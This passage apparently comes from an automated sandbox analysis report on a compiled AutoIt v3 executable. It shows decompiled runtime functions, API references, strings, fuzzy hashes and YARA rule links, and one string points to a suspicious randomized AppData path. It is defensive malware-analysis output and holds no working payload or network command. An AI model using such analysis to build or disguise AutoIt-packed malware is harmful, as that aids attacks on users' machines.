\, xrefs: 00F0734D

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcscat_wcslenstd::exception::exception$Exception@8FileModuleNameOpenThrow__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpy
String ID: Include$\
API String ID: 3173733714-3429789819
Opcode ID: 1f7deedf8c1444fc805dd9317bac6ce67f064ae3ddfe1c7a991c50141bdfcc29
Instruction ID: 74fa2359567a3e240d141a70c94104d316076fe335bf5671c0a1ad85bcd3441f
Opcode Fuzzy Hash: 1f7deedf8c1444fc805dd9317bac6ce67f064ae3ddfe1c7a991c50141bdfcc29
Instruction Fuzzy Hash: 0B5192B180C74D9BC310EFA5DC898FA73E8FB88300F44455DF699A32A1E7B19644EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00EF03E0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 76
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF03E0() {
				struct _WNDCLASSEXW _v52;
				struct HICON__* _t18;
				struct HICON__* _t19;
				intOrPtr _t21;
				void* _t22;
				short _t23;
				void* _t24;
				void* _t25;
				struct HICON__* _t26;
				struct HICON__* _t28;
				struct HICON__* _t29;
				struct HBRUSH__* _t34;
				int _t36;

				_t34 = GetSysColorBrush(0xf);
				_t26 = LoadCursorW(0, 0x7f00);
				_t18 = LoadIconW( *0xf77520, 0x63); // executed
				 *0xf87f40 = _t18; // executed
				_t19 = LoadIconW( *0xf77520, 0xa4); // executed
				 *0xf87f48 = _t19;
				 *0xf87f4c = LoadIconW( *0xf77520, 0xa2);
				_t21 =  *0xf89604; // 0x3492e18
				if( *((char*)(_t21 + 0x1f)) == 0) {
					_t22 = E00F23862(4);
					_t36 = 0;
				} else {
					_t36 = 0;
					_t22 = LoadImageW( *0xf77520, 0x63, 1, 0x10, 0x10, 0);
				}
				_t28 =  *0xf87f40; // 0x110221
				_v52.hInstance =  *0xf77520;
				 *0xf87f44 = _t22;
				_v52.cbSize = 0x30;
				_v52.style = 0x23;
				_v52.cbClsExtra = _t36;
				_v52.cbWndExtra = _t36;
				_v52.hCursor = _t26;
				_v52.hbrBackground = _t34;
				_v52.lpszMenuName = _t36;
				_v52.lpszClassName = L"AutoIt v3";
				_v52.hIcon = _t28;
				_v52.hIconSm = _t22;
				_v52.lpfnWndProc = E00EE1320;
				_t23 = RegisterClassExW( &_v52);
				_t29 =  *0xf87f40; // 0x110221
				 *0xf774e4 = _t23;
				_t24 =  *0xf87f44; // 0x601f3
				_t25 = E00EF04E0(_t29, _t24); // executed
				return _t25;
			}

0x00ef03f8
0x00ef0406
0x00ef0410
0x00ef041e
0x00ef0423
0x00ef0431
0x00ef0438
0x00ef043d
0x00ef0446
0x00f082e1
0x00f082e9
0x00ef044c
0x00ef0452
0x00ef045e
0x00ef045e
0x00ef046a
0x00ef0470
0x00ef0477
0x00ef047c
0x00ef0483
0x00ef048a
0x00ef048d
0x00ef0490
0x00ef0493
0x00ef0496
0x00ef0499
0x00ef04a0
0x00ef04a3
0x00ef04a6
0x00ef04ad
0x00ef04b3
0x00ef04b9
0x00ef04bf
0x00ef04c6
0x00ef04d1

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EF03EB
LoadCursorW.USER32(00000000,00007F00), ref: 00EF03FA
LoadIconW.USER32(?,00000063), ref: 00EF0410
LoadIconW.USER32(?,000000A4), ref: 00EF0423
LoadIconW.USER32(?,000000A2), ref: 00EF0436
LoadImageW.USER32 ref: 00EF045E
RegisterClassExW.USER32 ref: 00EF04AD

Part of subcall function 00EF04E0: GetSysColorBrush.USER32(0000000F), ref: 00EF0513
Part of subcall function 00EF04E0: RegisterClassExW.USER32 ref: 00EF053D
Part of subcall function 00EF04E0: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF054E
Part of subcall function 00EF04E0: InitCommonControlsEx.COMCTL32(00F890E8), ref: 00EF056B
Part of subcall function 00EF04E0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF057B
Part of subcall function 00EF04E0: LoadIconW.USER32(00EE0000,000000A9), ref: 00EF0592
Part of subcall function 00EF04E0: ImageList_ReplaceIcon.COMCTL32(00A7C990,000000FF,00000000), ref: 00EF05A2

Strings

0, xrefs: 00EF047C
AutoIt v3, xrefs: 00EF0499
#, xrefs: 00EF0483

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: de310cb1bd927c3f6c4fda1511fcab8f4a5841fa57625650e4b148a46ded1052
Instruction ID: 779cb563e92106b0c2cc02f625cd531960aa74cd107c3bc937fa96bc7eeecaea
Opcode Fuzzy Hash: de310cb1bd927c3f6c4fda1511fcab8f4a5841fa57625650e4b148a46ded1052
Instruction Fuzzy Hash: 262171B0D1431CABD710EFAAEC45BAE7BB5BB4C700F14405AE618A7290D7B19940EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF04E0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 56
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00EF04E0(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v12;
				struct _WNDCLASSEXW _v60;
				struct HINSTANCE__* _t19;
				void* _t25;
				void* _t26;
				int _t27;
				struct HINSTANCE__* _t29;
				void* _t31;

				_t19 =  *0xf77520;
				 *0xf88684 = _t19;
				_v60.cbSize = 0x30;
				_v60.style = 0x2b;
				_v60.cbClsExtra = 0;
				_v60.cbWndExtra = 0x1e;
				_v60.hInstance = _t19;
				_v60.hCursor = 0;
				_v60.hbrBackground = GetSysColorBrush(0xf);
				_v60.lpszMenuName = 0;
				_v60.hIconSm = _a8;
				_v60.hIcon = _a4;
				_v60.lpszClassName = L"AutoIt v3 GUI";
				_v60.lpfnWndProc = 0xf5f04b;
				 *0xf774e0 = RegisterClassExW( &_v60);
				 *0xf88688 = RegisterWindowMessageW(L"TaskbarCreated");
				_v12 = 8;
				_v8 = 0x13b;
				__imp__InitCommonControlsEx( &_v12);
				_t25 = ImageList_Create(0x10, 0x10, 0x21, 1, 1);
				_t29 =  *0xf88684; // 0xee0000
				 *0xf886dc = _t25;
				_t26 = LoadIconW(_t29, 0xa9);
				_t31 =  *0xf886dc; // 0xa7c990
				_t27 = ImageList_ReplaceIcon(_t31, 0xffffffff, _t26); // executed
				 *0xf886e0 = 0;
				return _t27;
			}

0x00ef04e6
0x00ef04f0
0x00ef04f5
0x00ef04fc
0x00ef0503
0x00ef0506
0x00ef050d
0x00ef0510
0x00ef051c
0x00ef0526
0x00ef0529
0x00ef052c
0x00ef052f
0x00ef0536
0x00ef0548
0x00ef0554
0x00ef055d
0x00ef0564
0x00ef056b
0x00ef057b
0x00ef0581
0x00ef058d
0x00ef0592
0x00ef0598
0x00ef05a2
0x00ef05a8
0x00ef05b2

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EF0513
RegisterClassExW.USER32 ref: 00EF053D
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF054E
InitCommonControlsEx.COMCTL32(00F890E8), ref: 00EF056B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF057B
LoadIconW.USER32(00EE0000,000000A9), ref: 00EF0592
ImageList_ReplaceIcon.COMCTL32(00A7C990,000000FF,00000000), ref: 00EF05A2

Strings

0, xrefs: 00EF04F5
TaskbarCreated, xrefs: 00EF0543
+, xrefs: 00EF04FC

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$TaskbarCreated
API String ID: 2914291525-888179712
Opcode ID: 47c533133e33b8848e433c8fee48321bed832c56643233425b6fbdb0efa49311
Instruction ID: 71d505992e5ebcb220ef91cdb0d917a7de49c02206dc69e65c0dd0953b91d3c4
Opcode Fuzzy Hash: 47c533133e33b8848e433c8fee48321bed832c56643233425b6fbdb0efa49311
Instruction Fuzzy Hash: 402115B190030CAFDB40DFA4E848ADDBBB4BB08750F10821AF915A7390DBB10545EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EEA9D0, Relevance: 16.6, APIs: 8, Strings: 1, Instructions: 881COMMON

Download Yara Rule

Strings

Default, xrefs: 00F0B2A4

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc
String ID: Default
API String ID: 1579825452-753088835
Opcode ID: b9d27207c24364e7e1fdd8dcc434010f285a9e6b16d62b4bb1b36d9758494746
Instruction ID: f481d8b2e5d4a3ebea4d042e3fd3c08d4f23fdea9bb8da45cfa98a3018f473aa
Opcode Fuzzy Hash: b9d27207c24364e7e1fdd8dcc434010f285a9e6b16d62b4bb1b36d9758494746
Instruction Fuzzy Hash: FF72A070608389CFC714DF26C881A6AB7E5BF84314F28986DE986AB351D735EC44EB53

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1340, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129timewindowCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00EE1376
KillTimer.USER32(?,00000001), ref: 00EE13F9

Part of subcall function 00EE1240: _memset.LIBCMT ref: 00EE126B
Part of subcall function 00EE1240: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00EE129B

PostQuitMessage.USER32(00000000), ref: 00EE140B

Strings

TaskbarCreated, xrefs: 00EE142B

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconKillMessageNotifyPostProcQuitShell_TimerWindow_memset
String ID: TaskbarCreated
API String ID: 1519149367-2362178303
Opcode ID: 28eadbb522647239f9217d430c09ea44aa4077ac24846517529c8cd8efa578a7
Instruction ID: 605727b87dc9095b80dab8817b59d4675af16f99968b0973db0fd91eaf7aa087
Opcode Fuzzy Hash: 28eadbb522647239f9217d430c09ea44aa4077ac24846517529c8cd8efa578a7
Instruction Fuzzy Hash: 5C41367260438CDBDB20EB5AEC85BEE7758F740360F411166F815A65D1CAB19CC0A393

Uniqueness

Uniqueness Score: -1.00%

Function 00EEFE90, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EEFEE2
__fread_nolock.LIBCMT ref: 00EEFF02
_fseek.LIBCMT ref: 00EEFF58

Strings

AU3!, xrefs: 00EEFECD
EA06, xrefs: 00F05CB6

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock_fseek_memmove
String ID: AU3!$EA06
API String ID: 3969463491-2658333250
Opcode ID: fe9a6b8a999337ca91f53c2f0a82165b9862d46ca1df6fd30fff329c4a0d3101
Instruction ID: 6463d2c9a9184c92edccb20af589f37b5e18e35573f87ebbec2a89cc41829b7a
Opcode Fuzzy Hash: fe9a6b8a999337ca91f53c2f0a82165b9862d46ca1df6fd30fff329c4a0d3101
Instruction Fuzzy Hash: F8414D72A0418C5BDF21CB74C891FFE3BA4AB0A300F6454B9F685EB282E670D581DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1490, Relevance: 12.1, APIs: 8, Instructions: 86windowtimeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EE14BC

Part of subcall function 00EE1E00: _memset.LIBCMT ref: 00EE1E90
Part of subcall function 00EE1E00: _wcsncpy.LIBCMT ref: 00EE1ED2
Part of subcall function 00EE1E00: _wcscpy.LIBCMT ref: 00EE1EF1
Part of subcall function 00EE1E00: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00EE1F03

KillTimer.USER32(?,?,?,?,?), ref: 00EE1513
SetTimer.USER32(?,?,000002EE,00000000), ref: 00EE1522
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00F07BC8
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00F07C1C
Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00F07C67

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
String ID:
API String ID: 1792922140-0
Opcode ID: 547b11c5c44a506ed8524b0aa5078c4bef02e7bc2eaa5715ce8b3e0103154449
Instruction ID: d0fe581c628e90d637bf9b30d6329c61c1c820b716ae875459c061930150d946
Opcode Fuzzy Hash: 547b11c5c44a506ed8524b0aa5078c4bef02e7bc2eaa5715ce8b3e0103154449
Instruction Fuzzy Hash: D731B4B0A08A4DBFEB66DB24CC85BE6FBBDBB46304F0051C5E19D56141C7706E88DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE700, Relevance: 10.7, APIs: 7, Instructions: 157COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00EEE72A

Part of subcall function 00EE2390: _wcslen.LIBCMT ref: 00EE239D
Part of subcall function 00EE2390: _memmove.LIBCMT ref: 00EE23C3

GetCurrentProcess.KERNEL32(?), ref: 00EEE7D4
GetNativeSystemInfo.KERNELBASE(?), ref: 00EEE832
FreeLibrary.KERNEL32(?), ref: 00EEE842
FreeLibrary.KERNEL32(?), ref: 00EEE854

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_memmove_wcslen
String ID:
API String ID: 3363477735-0
Opcode ID: 64f3ef235997d98e58402ecd1613a85972909da43a509e8409ce6b7708e42269
Instruction ID: fbc8ae1317394dbe8af2e93ae4a56e9ca6d3d686b519c965e6d797b06711ba79
Opcode Fuzzy Hash: 64f3ef235997d98e58402ecd1613a85972909da43a509e8409ce6b7708e42269
Instruction Fuzzy Hash: 3461AF74D0878AEECB10DFA5C88829CFFB4BF09304F14459AD444A3B42D3B5B998DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF3B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(00EEF1FC), ref: 00EEF3BD
SHGetDesktopFolder.SHELL32(?,00F890E8), ref: 00EEF3D2
_wcsncpy.LIBCMT ref: 00EEF3ED
SHGetPathFromIDListW.SHELL32(?,?), ref: 00EEF427
_wcsncpy.LIBCMT ref: 00EEF440

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EEF3EB, 00EEF43F, 00F05D72, 00F05D73

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsncpy$DesktopFolderFromListMallocPath
String ID: C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 3170942423-776828797
Opcode ID: 86668cfa4a81560b217fff119cffa7c6ad1931c1b11247a709067a1a6b483234
Instruction ID: efb85b4be43038edf7f16abef5bd589a39db3b04f7650c8d30eaf004e3e8b96f
Opcode Fuzzy Hash: 86668cfa4a81560b217fff119cffa7c6ad1931c1b11247a709067a1a6b483234
Instruction Fuzzy Hash: 65218575A01619ABC710DBA4DC84DEFB37DEF88704F108598F915A7250EB70DE41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE6C0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,00EEE6A1), ref: 00EEE6DD
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,00EEE6A1,00000000,?,?,?,00EEE6A1), ref: 00F07117
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,00EEE6A1,?,00000000,?,?,?,?,00EEE6A1), ref: 00F0715E
RegCloseKey.ADVAPI32(?,?,?,?,00EEE6A1), ref: 00F0718F

Strings

Software\AutoIt v3\AutoIt, xrefs: 00EEE6D3
Include, xrefs: 00F0710F, 00F07158

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 70f9e61d6ef5040af533da22991536095647e22e4d1208f30d7d1a73917e3834
Instruction ID: b48a81a50aa039b408972c8a3f5eebaa0834c66008617dc47bb7cf4a7d58a4dd
Opcode Fuzzy Hash: 70f9e61d6ef5040af533da22991536095647e22e4d1208f30d7d1a73917e3834
Instruction Fuzzy Hash: 7321A572B80208BBDB14DBB4DC46FAEB3BCAF54700F100659F606E71C0EAB5AA01A751

Uniqueness

Uniqueness Score: -1.00%

Function 00EF0350, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00EF0385
CreateWindowExW.USER32 ref: 00EF03AE
ShowWindow.USER32(?,00000000), ref: 00EF03C4
ShowWindow.USER32(?,00000000), ref: 00EF03CE

Strings

edit, xrefs: 00EF03A2
AutoIt v3, xrefs: 00EF0379, 00EF037E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 0a3fe778af6fbaaaf048a4148d96e3ed231aa5863ea3963be22994c3f744caac
Instruction ID: 4273cb0b8b5d4e1bcc270198cd2639adea5ce01b89a11240cd9c90aa486ac9b1
Opcode Fuzzy Hash: 0a3fe778af6fbaaaf048a4148d96e3ed231aa5863ea3963be22994c3f744caac
Instruction Fuzzy Hash: 63F0DA71BE53187AF630AB64AC43F523658A708F11F340416B708BF1E4D5E1B980ABDA

Uniqueness

Uniqueness Score: -1.00%

Function 00F12FD3, Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,00F890E8,14000000,00F0E1BD), ref: 00F12FDD
LockServiceDatabase.ADVAPI32(00000000), ref: 00F12FEA
UnlockServiceDatabase.ADVAPI32(00000000), ref: 00F12FF5
CloseServiceHandle.ADVAPI32(00000000), ref: 00F12FFE
GetLastError.KERNEL32 ref: 00F13009
CloseServiceHandle.ADVAPI32(00000000), ref: 00F13019

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
String ID:
API String ID: 1690418490-0
Opcode ID: 23eadc6111184a55f3874e14da0f4429f27473f8f2e242a72f335b2c156885f8
Instruction ID: deb6b18fe58d307e025c0924c21e872bd7d5f85602bd9dac93b71b4706ffbac6
Opcode Fuzzy Hash: 23eadc6111184a55f3874e14da0f4429f27473f8f2e242a72f335b2c156885f8
Instruction Fuzzy Hash: E0E09231A83A247BD6611B246D1DBCB3F9CAB2E762F040003F221E2150CB99C949FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF06E0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000004,Control Panel\Mouse,00000000,00000001,00000004,00000004), ref: 00EF06F7
RegQueryValueExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000002,00000000), ref: 00EF071E
RegCloseKey.KERNELBASE(?), ref: 00EF0745
RegCloseKey.ADVAPI32(?), ref: 00EF0759

Strings

Control Panel\Mouse, xrefs: 00EF06F5

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$OpenQueryValue
String ID: Control Panel\Mouse
API String ID: 1607946009-824357125
Opcode ID: 95c80941e0137ef08fdc7b6d7d720b4d16bdd91673f0604cd9457dd46d1806f3
Instruction ID: 201425a603dc6589b2830dca3f0096ecd506f03988c9f6020389f337e74c8bc6
Opcode Fuzzy Hash: 95c80941e0137ef08fdc7b6d7d720b4d16bdd91673f0604cd9457dd46d1806f3
Instruction Fuzzy Hash: CD118C76641108BFCB10DFA8EC449FFB7BCEF58300B10458AF918C3250E6719A11EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF49DA, Relevance: 7.7, APIs: 5, Instructions: 160COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EF4A35
_memcpy_s.LIBCMT ref: 00EF4AA6
__read.LIBCMT ref: 00EF4B09
__filbuf.LIBCMT ref: 00EF4B25

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

_memset.LIBCMT ref: 00EF4B66

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: aab6084c32e67cab8a38e491f8e282013bf2e01b8cbd6436e29e8fe851f2c809
